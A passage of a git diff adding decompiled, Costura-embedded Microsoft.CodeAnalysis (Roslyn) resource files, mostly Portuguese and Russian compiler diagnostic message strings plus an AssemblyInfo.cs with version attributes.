deve ser absoluto: "{1}" + Não resolvido: + O argumento para a opção '/keepalive' não é um número inteiro de 32 bits. + O alcance não inclui o início de uma linha. + Não é possível criar uma referência de metadados para um assembly sem o local. + Nome de cultura inválido: "{0}" + Variante de instrumentação inválida: {0} + Tuplas devem ter pelo menos dois elementos. + As alterações devem ser ordenadas e não sobrepostas. + O servidor de compilador Roslyn relata uma versão de protocolo diferente da tarefa de compilação. + Tempo de execução total do analisador: {0} segundos. + Opções de compilação não devem ter erros. + Não é possível serializar o tipo '{0}'. + O fluxo PE de metadados não deve ser fornecido ao emitir somente metadados. + Nome de recurso vazio ou inválido + Tipo de retorno não pode ser um tipo de valor void, by-ref ou genérico aberto + O gravador de PDB do Windows não dá suporte à funcionalidade SourceLink: '{0}' + Token de chave pública inválida. + O diagnóstico '{0}: {1}' foi suprimido de forma programática por meio de um DiagnosticSuppressor com a ID de supressão '{2}' e a justificativa '{3}' + Argumento ausente para a opção '/keepalive'. + <módulo na memória> + Gerador + A operação fornecida tem um modelo não semântico. + A versão do gravador de PDB do Windows é mais antiga do que a necessária: '{0}' + Um nó ou token está fora de sequência. + Não é permitido inserir PDB ao emitir metadados. + Não é possível criar uma referência de metadados a um assembly dinâmico. + A ID de diagnóstico suprimida '{0}' não corresponde à ID suprimível '{1}' para o descritor de supressão fornecido. + Recursos do Win32, supostos como estando no formato de objeto COFF, têm um ou mais valores de símbolo inválidos. + O fluxo deve fornecer suporte a operações de leitura e busca. + enum + O diagnóstico relatado '{0}' tem um local de origem no arquivo '{1}', que não faz parte da compilação sendo analisada. + Campo + O nome não pode ficar vazio. + Tempo total de execução do gerador: {0} segundos. + Recursos do Win32, supostos como estando no formato de objeto COFF, estão sem uma ou ambas as seções '.rsrc$ 01' e '.rsrc$ 02' + Se os nomes do elemento de tupla forem especificados, o número de nomes de elemento deverá corresponder à cardinalidade da tupla. + Editar e Continuar não pode retomar o iterador suspenso já que a instrução yield return correspondente foi excluída + Tipo de conteúdo inválido + {0}.GetMetadata() deve retornar uma instância de {1}. + O diagnóstico relatado contém uma ID "{0}", que não é um identificador válido. + Não é possível criar uma referência de módulo a um assembly. + Se as anotações anuláveis de elementos de tupla forem especificadas, o número de anotações deverá corresponder à cardinalidade da tupla. + O argumento contém instâncias duplicadas do analisador. + Nome não pode começar com espaço em branco. + As matrizes com mais de uma dimensão não podem ser serializadas. + Não é permitido alterar a versão de uma referência de assembly durante a depuração: a versão de '{0}' foi alterada para '{1}'. + O analisador não dá suporte ao diagnóstico relatado com ID '{0}'. + Um nome de idioma deve ser especificado para esta opção. + Símbolo de método esperado + Tipo de saída sem suporte. + separador é esperado + Um nó na lista não pertence ao tipo esperado. + O hintName "{0}" contém um segmento inválido "{1}" na posição {2}. + {0} deve ser 'padrão' ou deve ter o mesmo tamanho que {1}. + O nome não pode ser nulo. + As alterações precisam estar dentro dos limites do SourceText + Algoritmo de hash sem suporte. + O provedor de fluxo de recursos deve retornar fluxo não nulo. + Identidade de WindowsRuntime não pode ser redirecionável + O argumento contém uma instância de analisador que não pertence aos "Analisadores" dessa instância de CompilationWithAnalyzers. + Não é possível destinar o módulo de rede ao emitir o assembly de referência. + Não é possível desserializar o tipo '{0}'. + O fluxo deve ser legível. + interface + Recursos do Win32, supostos como estando no formato de objeto COFF, têm um ou mais valores de cabeçalho de realocação inválidos. + O analisador '{0}' gerou uma exceção do tipo '{1}' com a mensagem '{2}'. +{3} + <in-memory assembly> + {0} e {1} devem ter o mesmo tamanho. + O hintName '{0}' do arquivo de origem adicionado precisa ser exclusivo em um gerador. + O nome de elemento de tupla não pode ser uma cadeia de caracteres vazia. + Tipo de saída inválido para envio. DynamicallyLinkedLibrary esperado. + A ID do SuppressionDescriptor não pode ser nula, não deve ser uma cadeia de caracteres vazia nem deve ser uma cadeia de caracteres que contenha apenas espaços em branco. + O fluxo deve ser gravável. + Nome de assembly inválido: "{0}" + Alias inválido. + construtor + Nenhum analisador encontrado + Assembly deve ter pelo menos um módulo. + Editar e Continuar não pode retomar o método assíncrono suspenso já que a expressão await correspondente foi excluída + Provedor de dados de recursos deve retornar o fluxo não nulo + O diagnóstico não relatado com a ID '{0}' não pode ser suprimido. + O fluxo de recursos terminou em {0} bytes, mas eram esperados {1} bytes. + Imagem PE não contém metadados gerenciados. + Nome de arquivo vazio ou inválido + retornar + O driver do analisador gerou uma exceção do tipo “{0}” com mensagem “{1}”. +{2} + Tamanho do arquivo excede o tamanho máximo permitido de um arquivo de metadados válido. + A extensão não inclui o fim de uma linha. + Envio anterior tem erros. + A compilação faz referência a vários assemblies cujas versões diferem apenas nos números de build e/ou revisão gerados automaticamente. + Supressão programática de um diagnóstico do analisador + Arquivo do assembly não encontrado + Chave pública inválida. + Não é possível ler o fluxo. + A referência do tipo '{0}' não é válida para esta compilação. + O número de linha solicitado {0} deve ser menor que o número de linhas {1}. + A ID do DiagnosticDescriptor não deve ser nula, não deve ser uma cadeia de caracteres vazia nem deve ser uma cadeia de caracteres que contenha apenas espaços em branco. + O supressor não dá suporte à supressão relatada com a ID '{0}'. + A operação fornecida não deve ser parte de um Gráfico de Fluxo de Controle. + Somente um único {0} pode ser registrado por gerador. + Tipo deve ser igual ao tipo de objeto do host do envio anterior. + Se as localizações dos elementos de tupla forem especificadas, o número de localizações deverá corresponder à cardinalidade da tupla. + Assembly atual: '{0}' + '{0}' não era um nome de operador interno válido + Operador interno não suportado: {0} + Nome de operador interno inválido '{0}' + 'end' não deve ser menor que 'start'. start='{0}' end='{1}'. + Não é possível criar uma referência a um módulo. + Falha no Analisador + Chave pública não vazia esperada + Erro ao carregar o arquivo de conjunto de regras incluído {0} - {1} + Caracteres inválidos no nome do assembly + OBSERVAÇÃO: o tempo decorrido pode ser menor do que o tempo de execução do analisador porque analisadores podem ser executados simultaneamente. + O argumento não pode ter um elemento nulo. + O argumento não pode estar vazio. + assembly + parâmetro de tipo + "início" não deve ser negativo + Tamanho deve ser positivo. + Um valor no pathMap é nulo. + \ No newline at end of file diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.pt-BR.resx b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.pt-BR.resx new file mode 100644 index 0000000..2e1ba7b --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.pt-BR.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089O limite inferior da matriz de destino deve ser zero. + O tipo da matriz de destino não é compatível com o tipo dos itens na coleção. + Coleção tinha tamanho fixo. + A coleção foi modificada. A operação de enumeração pode não ser executada. + O número era menor que o limite inferior da matriz na primeira dimensão. + A matriz de destino não é longa o suficiente para copiar todos os itens da coleção. Verifique o índice e o tamanho da matriz. + Falha ao comparar dois elementos na matriz. + Já foi adicionado um item com a mesma chave. Chave: {0} + As matrizes especificadas devem ter o mesmo número de dimensões. + O deslocamento e o comprimento estavam fora dos limites para a matriz ou a contagem é maior do que o número de elementos do índice até o fim da coleção de origem. + Não é possível classificar porque o método IComparer.Compare() retorna resultados inconsistentes. Um valor não se compara igual a ele mesmo ou um valor comparado repetidas vezes a outro valor apresenta resultados diferentes. IComparer: '{0}'. + A contagem deve ser positiva e deve se referir a um local dentro da cadeia de caracteres/matriz/coleção. + O índice estava fora do intervalo. Deve ser não-negativo e menor do que o tamanho da coleção. + O objeto não é uma matriz com o mesmo número de elementos da matriz à qual será comparado. + a capacidade era menor que o tamanho atual. + A ação solicitada oferece suporte somente a matrizes unidimensionais. + A mutação de uma coleção de valores derivada de um dicionário não é permitida. + Maior que tamanho da coleção. + O índice deve estar dentro dos limites da Lista. + É necessário um número não negativo. + Não consigo encontrar o valor antigo + As operações que alteram coleções não simultâneas precisam ter acesso exclusivo. Uma atualização simultânea foi executada nesta coleção e corrompeu o estado dela. O estado da coleção não está mais correto. + A chave fornecida '{0}' não estava presente no dicionário. + A mutação de uma coleção de chaves derivada de um dicionário não é permitida. + A matriz de destino não era longa o suficiente. Verifique o índice, o tamanho e os limites inferiores da matriz de destino. + A capacidade da tabela de hash estourou e se tornou negativa. Verifique o fator de carga, a capacidade e o tamanho atual da tabela. + A matriz de origem não era longa o suficiente. Verifique o índice de origem, o tamanho e os limites inferiores da matriz. + O valor "{0}" não é do tipo "{1}" e não pode ser usado nesta coleção genérica. + A enumeração não foi iniciada ou já foi concluída. + \ No newline at end of file diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/costura.pt-br.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/costura.pt-br.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/pt-br.microsoft.codeanalysis.resources/costura.pt-br.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ru.resx b/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ru.resx new file mode 100644 index 0000000..db1fc24 --- /dev/null +++ b/decompiled/Libraries/ru.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ru.resx @@ -0,0 +1,2706 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Для создания результирующего файла без исходных текстов должен быть задан параметр /out. + Деление на константу, равную нулю + Типы и псевдонимы не могут иметь имя "record" + "{0}" не является допустимым аргументом именованного атрибута, так как он не является допустимым типом параметра атрибута. + Комментарий XML содержит неправильно сформированный XML + Ограничение "new()" невозможно использовать вместе с ограничением "unmanaged" + Пропуск некоторых типов в сборке анализатора {0} из-за исключения ReflectionTypeLoadException: {1}. + Поле назначено, но его значение не используется + записи + Дерево выражения не может содержать оператор назначения. + Не удается обнаружить один или несколько типов, необходимых для компиляции динамического выражения. Возможно, отсутствует ссылка. + "{0}" является устаревшим: '{1}' + Атрибут Conditional недопустим для "{0}", так как это конструктор, деструктор, оператор, лямбда-выражение или явная реализация интерфейса + Элементы параметра основного конструктора "{0}" типа, доступного только для чтения, нельзя вернуть с помощью записываемой ссылки + Шаблоны среза можно использовать только один раз и непосредственно внутри шаблона списка. + Недопустимое имя модуля: {0} + Интерфейс уже указан в списке интерфейсов с другой допустимостью значений NULL ссылочных типов. + "{0}": не разрешено пользовательское преобразование в базовый тип или из базового типа. + "{0}": невозможно сослаться на тип через выражение; попытайтесь использовать "{1}". + Версия компилятора: "{0}". Версия языка: {1}. + итераторы + Ключ /win32manifest для модуля пропущен, т. к. используется только для сборок + Кодовая страница "{0}" является недопустимой или не установлена. + Член с атрибутом "obsolete" "{0}" переопределяет член без атрибута "obsolete" "{1}" + Отсутствуют закрывающие кавычки у литерала строки. + Выданное значение может быть равно NULL. + Используется автоматически реализуемое свойство "{0}", которое может быть не назначено. Попробуйте обновить до языковой версии "{1}", чтобы автоматически применить значения по умолчанию к этому полю. + "{0}" не может быть стать параметром, допускающим NULL. + объявления using + Целевая среда выполнения не поддерживает реализацию интерфейса по умолчанию. + Компиляция отменена пользователем. + Ссылки на метаданные не поддерживаются. + Тело запроса должно заканчиваться предложением select или предложением group. + Указанное выражение никогда не соответствует предоставленному шаблону. + Методы доступа "init" не могут быть помечены как доступные только для чтения. Вместо них пометьте "{0}" как доступные только для чтения. + Оператор "&" не следует использовать для параметров или локальных переменных в асинхронных методах. + Предложение Switch содержит несколько случаев со значением метки "{0}". + Требуется идентификатор, "{1}" является ключевым словом. + Недопустимое значение "{0}": '{1}'. + Параметр типа "{0}" имеет то же имя, что и параметр типа во внешнем методе "{1}" + Дерево выражения не может содержать небезопасные операции над указателями. + В ссылке на сущность используется недопустимый символ. + Дерево лямбда-выражения не может содержать метод с изменяющимся числом аргументов. + Переключатель командной строки еще не реализован + Компилятор неявно расширил переменную с расширением знака, а затем использовал полученное значение в битовой или обычной операции. Это может вызвать непредсказуемое поведение. + К указателю должен быть применен оператор * или ->. + Недопустимое имя символа предварительной обработки. "{0}" не является допустимым идентификатором. + Оператор "{0}" невозможно применить к операнду типа "{1}" и "{2}". + целые числа собственного размера + Тип невозможно пометить как совместимый с CLS, так как он является членом несовместимого с CLS типа + Атрибут CallerMemberNameAttribute не будет работать: он переопределяется атрибутом CallerLineNumberAttribute + Члены {0} "{1}" невозможно вернуть по ссылке для записи, так как это переменная только для чтения + Неверный формат типа InterpolatedStringHandlerArgumentAttribute, примененного к параметру "{0}", интерпретация невозможна. Создайте экземпляр "{1}" вручную. + Данная строка имеет длину ' {0} ' символов, что меньше предоставленного количества символов ' {1} '. + "{0}" не может объявить тело, потому что помечен как abstract. + Несогласованность по доступности: доступность типа события "{1}" ниже доступности события "{0}" + Член "{0}" переопределяет устаревший член "{1}". Добавьте к "{0}" атрибут Obsolete. + Обнаружен недостижимый код + Типу или члену не требуется атрибут, совместимый с CLS, так как сборка не содержит атрибут CLSCompliant + Невозможно использовать параметр основного конструктора "{0}" в этом контексте. + Не удалось найти реализацию шаблона запроса для исходного типа "{0}". "{1}" не найден. Попробуйте явно указать тип переменной диапазона "{2}". + "{0}" является недопустимым номером предупреждения. + Тип "{3}" не может быть использован как параметр типа "{2}" в универсальном типе или методе "{0}". Нет преобразования неявной ссылки из "{3}" в "{1}". + Метод, оператор или метод доступа помечен как внешний и не имеет атрибутов + Неверный формат метода обработчика интерполированных строк "{0}". Он не возвращает значения "void" или "bool". + Шаблон отмены запрещено использовать как метку case в операторе switch. Используйте "case var _:" в качестве шаблона отмены или "case @_:" в качестве константы "_". + Соглашение о вызовах "{0}" несовместимо с "{1}". + При создании объекта невозможно использовать ссылочный тип, допускающий значения NULL. + Имя деструктора должно соответствовать имени типа. + Ошибка в синтаксисе командной строки: "{0}" не является допустимым значением для параметра "{1}". Значение должно иметь форму "{2}". + Поскольку "{0}" не является методом экземпляра, получатель не может быть аргументом обработчика интерполированных строк. + Это присваивает по ссылке "{1}" "{0}", но "{1}" может избежать текущего метода только через оператор return. + Невозможно передать переменную диапазона "{0}" как параметр с ключевыми словами out или ref. + Цикл foreach должен объявлять собственные переменные итерации. + параметры неограниченного типа в операторе объединения со значением NULL + Атрибут DllImport должен быть указан для метода, который помечен как "static" и "extern". + разделяемый метод + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + Функция "{0}" недоступна в C# 11.0. Используйте язык версии {1} или более поздней. + Функция "{0}" недоступна в C# 10.0. Используйте версию языка {1} или более позднюю. + Полю "{0}" присвоено значение, но оно ни разу не использовано. + Нельзя использовать оператор yield в теле предложения finally. + <пространство имен> + Оператор await можно использовать только в выражении запроса в первом выражении коллекции начального предложения From или в выражении коллекции предложения Join. + Значение по умолчанию, указанное для параметра "{0}", не будет действовать, так как оно применяется к члену, используемому в контекстах, не допускающих необязательных аргументов. + "{0}": явное объявление интерфейса может содержаться только в классе, записи, структуре или интерфейсе. + Нельзя переопределять глобальный внешний псевдоним. + Метод "Slice" встроенного массива не будет использоваться для выражения доступа к элементу. + Атрибут CLSCompliant не применяется к параметрам. Попробуйте разместить его в методе. + Это предупреждение возникает, если в блоке catch() не указан тип исключений после блока catch (System.Exception e). В предупреждении рекомендуется, чтобы блок catch() не получал исключения. + +В блоке catch(), находящемся после блока catch (System.Exception e), могут возникнуть исключения, не связанные с CLS, если для параметра RuntimeCompatibilityAttribute задано значение false в файле AssemblyInfo.cs: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Если для этого атрибута не задано явно значение false, все исключения, не связанные с CLS, упаковываются как исключения и их получает блок catch (System.Exception e). + Применение класса CallerArgumentExpressionAttribute к параметру не подействует, поскольку он ссылается сам на себя. + Выходная переменная не может быть объявлена как локальная переменная ref + Невозможное ожидание в предложении catch. + Для оператора "{0}" требуется, чтобы была определена соответствующая непроверенная версия этого оператора + пространство имен с файловой областью + Невозможно деконструировать динамические объекты. + Невозможно использовать выражение в этом контексте, так как его невозможно передать или вернуть по ссылке + В параметре /reference, объявляющем внешний псевдоним, можно задать только одно имя файла. Чтобы задать несколько псевдонимов или имен файлов, следует использовать несколько параметров /reference. + Невозможно преобразовать выражение stackalloc типа "{0}" в тип "{1}". + Отсутствует закрывающий разделитель "}" для интерполированного выражения, начинающегося с "{". + Для включения проверки на соответствие CLS следует назначить сборке, а не модулю, атрибут CLSCompliant. + Модификатор "scoped" можно использовать только для ref и для значений ref struct. + Оператор foreach не работает с переменными типа "{0}", так как "{0}" не содержит открытое определение экземпляра или расширения для "{1}" + Ошибка при чтении файла с набором правил {0} — {1} + Не вызывайте метод Finalize базового типа напрямую. Он вызывается автоматически из деструктора. + "{0}": значение перечислителя недопустимо велико для типа, к которому он относится. + В данном файле есть строки ' {0} ', что меньше предоставленного номера строки ' {1} '. + Недопустимое имя файла в директиве препроцессора. Слишком длинное имя файла, либо оно не является допустимым именем файла. + Тип или член устарел + Невозможно преобразовать выражение в ' {0} ', так как оно не может быть передано или возвращено по ссылке + Аргументы типа для метода "{0}" не могут определяться по использованию. Попытайтесь явно определить аргументы типа. + Возможно, аргумент-ссылка, допускающий значение NULL. + &группа методов + Отсутствует атрибут file + Отсутствует атрибут path + Неуправляемый тип "{0}" недопустим для полей. + Ошибка при подписи выхода открытым ключом из контейнера "{0}" — {1}. + Для оператора "{0}" требуется, чтобы был определен соответствующий оператор "{1}". + Инициализатор поля не может обращаться к нестатическому полю, методу или свойству "{0}". + автоматически реализуемые свойства только для чтения + Пространство имен "{1}" уже содержит определение для "{0}" в этом файле. + Поля доступного только для чтения статического поля "{0}" можно использовать как значение ref или out только в статическом конструкторе + Это присваивает по ссылке "{1}" "{0}", но "{1}" имеет более узкую область выхода, чем "{0}". + модификаторы доступа в свойствах + У типов и псевдонимов не может быть имя "scoped". + Недопустимый токен "{0}" в объявлении класса, записи, структуры или элемента интерфейса + Не удалось найти файл метаданных "{0}". + Вызов члена, не являющегося доступным только для чтения, из члена readonly приводит к появлению неявной копии. + Пространство имен с файловой областью должно быть раньше всех остальных элементов в файле. + "{0}" не имеет предопределенный размер, поэтому оператор sizeof может использоваться только в небезопасном (unsafe) контексте + Недопустимый путь для поиска "{0}" указан в "{1}" — "{2}" + Невозможно преобразовать {0} в тип "{1}", так как типы параметров не совпадают с типами параметров делегата + Только члены, совместимые с CLS, могут быть абстрактными + частный защищенный + Сборка и модуль "{0}" не могут предназначаться для разных процессоров. + Дерево выражений не может содержать выражение диапазона (".."). + Модификатор типа ссылки параметра '{0}' не соответствует соответствующему параметру '{1}' целевом объекте. + "{0}" не является типом обработчика интерполированных строк. + Модификатор вида ссылки параметра '{0}' не соответствует соответствующему параметру '{1}' скрытом элементе. + Автоматически реализуемое свойство "{0}" прочитывается до явного назначения, что приводит к предшествующему неявному назначению "default". + Невозможное ожидание в теле оператора lock. + Доступное только для чтения статическое поле можно использовать как значение ref или out только в статическом конструкторе + Используется автоматически реализуемое свойство, которое может быть не назначено. Попробуйте обновить языковую версию, чтобы автоматически применить значения по умолчанию к этому полю. + Атрибут "{0}" нельзя использовать в методах доступа к свойствам или событиям. Он допустим только для объявлений "{1}". + Модификатор "scoped" параметра "{0}" не соответствует целевому "{1}". + Указанная строка версии "{0}" содержит подстановочные знаки, которые несовместимы с детерминизмом. Удалите подстановочные знаки из строки версии или отключите детерминизм для этой компиляции + Допустимость значения NULL ссылочных типов в явном указателе интерфейсов не соответствует интерфейсу, реализованному типом. + Использование массивов как аргументов атрибутов в CLS не разрешено + Неиспользованный внешний псевдоним + Недопустимое число + Параметры удаления лямбда-выражения + Результат выражения stackalloc этого типа в этом контексте может быть представлен за пределами содержащего его метода. + вариантность типа + каталог не существует + Чтобы применить "{0}" в качестве логического оператора краткой записи, его объявляющий тип "{1}" должен определять оператор True и оператор False. + высвобождаемый + Требуется вложенный инициализатор массива. + Деструкторы могут содержаться только в типах классов. + Предполагается, что ссылка на сборку совпадает с удостоверением + Ссылка сборки "{0}" является недопустимой и не может быть разрешена. + выводимый тип делегата + Это возвращает параметр по ссылке через параметр ref, но его можно безопасно вернуть только в операторе return + Отсутствует целевой тип для литерала по умолчанию. + Назначению деконструкции требуется выражение с типом справа. + Недопустимое выравнивание разделов файла "{0}" + Анонимные методы, лямбда-выражения, выражения запроса и локальные функции внутри структуры не имеют доступа к элементам экземпляра "this". Возможно, следует скопировать "this" в локальную переменную за пределами анонимного метода, лямбда-выражения, выражения запроса или локальной функции и использовать эту локальную переменную. + Не удается назначить участнику {0} "{1}" или использовать это как правую часть назначения ref, поскольку это переменная только для чтения + Допустимость значений NULL для ссылочных типов в типе объекта "{0}" не совпадает с явно реализованным членом "{1}". + Условный член "{0}" не может реализовать член интерфейса "{1}" в типе "{2}". + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения объекта "{0}" не совпадает с явно реализованным членом "{1}". + Статический класс "{0}" не может быть производным от типа "{1}". Статические классы должны быть производными от object. + Поля статического поля "{0}", доступного только для чтения, нельзя вернуть по ссылке для записи + Тип "{0}" определен в этой сборке, но для нее указан метод передачи типа. + Шаблон является недоступным. Он уже был обработан в предыдущем блоке выражения switch или условие для него не может быть выполнено. + Выражение слишком длинное или сложное для компиляции + После директивы #pragma ожидается комментарий длиной в одну строку или комментарий в конце строки + "{0}": свойство события должно иметь методы доступа для добавления и удаления. + Это возвращает параметр по ссылке "{0}", но он находится в области действия текущего метода + Ожидается "{" или ";" или "=>" + Сборка, на которую указывает ссылка, предназначена для другого процессора + Не удается найти управляемый класс-оболочку coclass "{0}" для интерфейса "{1}" (возможно, была пропущена ссылка на сборку). + "{0}" не реализует шаблон "{1}". "{2}" неоднозначен с "{3}". + Недопустимый параметр "{0}" для /langversion. Используйте "/langversion:?" для вывода списка поддерживаемых значений. + Полное имя псевдонима не является выражением. + Требуется идентификатор. + Тип "{0}" не определен. + Значение "goto case" невозможно неявно преобразовать в тип "{0}". + Назначение в условном выражении всегда является константой + Член с атрибутом Conditional "{0}" не может иметь параметр с ключевым словом out. + Невозможно ожидание в небезопасном контексте. + Внедренный оператор не может быть объявлением или оператором с идентификатором. + "{0}" должен допускать переопределение, поскольку содержащая его запись не является запечатанной. + Тип значения, допускающего NULL, может быть NULL. + статические локальные функции + Конструктор помечен как внешний + Операция может привести к переполнению в среде выполнения (для переопределения используйте синтаксис "unchecked") + инциализатор коллекции + Предопределенный тип "{0}" не определен или не импортирован + автоматически реализованные свойства + повторное назначение по ссылке + Выражение типа "{0}" не может быть обработано шаблоном типа "{1}". Используйте версию языка "{2}" или более позднюю, чтобы сопоставить открытый тип с постоянным шаблоном. + Вызов метода "{0}" с динамической диспетчеризацией может привести к ошибке во время выполнения, поскольку одна или несколько применимых перегрузок являются условными методами. + Тип или член устарел + Конструктор "{0}" помечен как внешний + "{0}": реализация интерфейсов статическими классами невозможна. + Внедренная структура взаимодействия "{0}" может содержать только открытые экземпляры полей. + Невозможно наследовать от "{0}", так как он не является параметром типа. + Локальная переменная, объявленная в операторе fixed, должна иметь тип указателя. + внешний псевдоним + Недопустимый тип возвращаемого значения в атрибуте cref XML-комментария + Тип "{0}" нельзя использовать в этом контексте, так как он не может быть представлен в метаданных. + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения не соответствует реализованному элементу (возможно, из-за атрибутов допустимости значений NULL). + Атрибут CLSCompliant не имеет значения при применении к параметрам + Допустимость значения NULL в ограничениях для параметра типа не соответствует ограничениям параметра типа в явно реализованном методе интерфейса. + Первый операнд оператора as не может быть литералом кортежа без естественного типа. + Недопустимый тип инструментирования: {0} + проверенные операторы, определяемые пользователем + Невозможно объявить пространство имен в коде скрипта + Открытая, защищенная или защищенная внутренняя переменная должна иметь тип, совместимый с CLS. + Конфликт модификаторов доступа в разделяемых объявлениях "{0}". + Тип "{3}" не может быть использован как параметр типа "{2}" в универсальном типе или методе "{0}". Тип "{3}", допускающий значение Null, не соответствует ограничению "{1}". + Имя оператора не может быть перехвачено. + Возможно, использовано непреднамеренное сравнение ссылок: для правой стороны требуется приведение + Не удалось произвести запись в выходной файл "{0}" — "{1}". + Требуется ключевое слово "this" или "base". + Атрибут EnumeratorCancellationAttribute не будет оказывать никакого влияния. Этот атрибут действует только для параметра типа CancellationToken в методе асинхронного итератора, возвращающем IAsyncEnumerable. + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения "{0}" не соответствует неявно реализованному элементу "{1}" (возможно, из-за атрибутов допустимости значений NULL). + Результат значения всегда одинаковый, так как значение этого типа никогда не равно NULL + доступ к элементу указателя + "{0}" не переопределяет ожидаемое свойство из "{1}". + Невозможно использовать "yield" в коде скрипта верхнего уровня + В асинхронном методе отсутствуют операторы await, будет выполнен синхронный метод + Предопределенный тип определяется в нескольких сборках глобального псевдонима + Имя "_" ссылается на тип "{0}", а не на шаблон отмены. Используйте "@_" в качестве типа или "var _" для отмены. + Перечисления, классы и структуры не могут быть объявлены в интерфейсе, имеющем параметр типа "In" или "Out". + "{0}": аргумент атрибута не может использовать параметры типа. + Требуется перегружаемый оператор. + Присваивание значений полям доступного только для чтения статического поля "{0}" допускается только в статическом конструкторе и в инициализаторе переменных. + Выражение фильтра является константой "true" + Не указаны файлы с исходным кодом. + "{0}" имеет неправильную сигнатуру и не может быть точкой входа + Конструкции catch не могут использоваться после универсальной конструкции catch оператора try + Разделяемый метод "{0}" должен иметь модификаторы доступа, так как он содержит модификатор "virtual", "override", "sealed", "new" или "extern". + Преобразования обработчика интерполированной строки, ссылающиеся на индексируемый экземпляр, нельзя использовать в инициализаторах элементов индексатора. + Аргумент отсутствует. + Не удается преобразовать лямбда-выражение в дерево выражения, чей аргумент типа "{0}" не является делегатом + Это присваивает по ссылке значение, которое может избежать текущего метода только через оператор return. + возвращаемый + При указателях на объекты неизвестного типа данная операция не определена. + Делегат "{0}" не содержит метода invoke или метода invoke с возвращаемым типом или типами параметров, которые не поддерживаются. + Не удается создать сконструированный универсальный тип из другого сконструированного универсального типа. + Поле "{0}" прочитывается до явного назначения, что приводит к предшествующему неявному назначению "default". + оператор nameof + Не удается получить адрес, определить размер или объявить указатель на управляемый тип ("{0}"). + Возможность "{0}" не входит в спецификацию языка C#, стандартизированную ISO, и может не распознаваться другими компиляторами + Атрибут "{0}", заданный в исходном файле, конфликтует с параметром "{1}". + Невозможно задать аргумент CLSCompliant в модуле, который отличается от атрибута CLSCompliant в сборке. + нестрогий оператор сдвига + Параметр {0} должен быть объявлен с ключевым словом "{1}". + "{0}" имеет атрибут "UnmanagedCallersOnly" и не может быть преобразован в тип делегата. Получите указатель на функцию для этого метода. + Невозможно ожидание в теле предложения finally. + Метод-перехватчик должен быть обычным методом-элементом. + До передачи управления из текущего метода параметру, помеченному ключевым словом out, "{0}" должно быть присвоено значение. + Записи могут наследоваться только от объекта или другой записи. + Требуется объект, строка или тип класса. + Дерево выражения не может содержать выражение with. + Связанные метаданные netmodule должны обеспечивать полный образ PE: '{0}'. + Использование выходного параметра "{0}", которому не присвоено значение. + Определение псевдонима с именем global не рекомендуется + "{0}": аргумент типа атрибута не может использовать параметры типа + Строковые литералы UTF-8 + /platform:anycpu32bitpreferred может использоваться только вместе с /t:exe, /t:winexe and /t:appcontainerexe + В методе "{0}" отсутствует аннотация "[DoesNotReturn]" для сопоставления реализованного или переопределенного члена. + Поле ссылки может быть объявлено только в структуре ссылки. + "{0}": класс с атрибутом ComImport не может указывать базовый класс. + Поскольку "{1}" имеет атрибут ComImport, "{0}" должен быть внешним или абстрактным. + Интерполяция должна заканчиваться количеством закрывающих фигурных скобок, совпадающим с количеством символов \"$\", с которых начинается литерал необработанной строки. + переменная fixed + Конфликтующее имя {0} + Предыдущее предложение catch уже перехватывает все исключения этого типа или супертипа ("{0}"). + Использование поля "{0}", которому, возможно, не присвоено значение. + Нельзя указывать тела блоков одновременно с телами выражений. + System.Void из C# использоваться не может -- для получения объекта типа void используйте typeof(void). + Указанный режим документации не поддерживается или недопустим: "{0}". + Оператор "{0}" для операнда типа "{1}" является неоднозначным. + Допустимость значения NULL для ссылочных типов в возвращаемом типе не совпадает 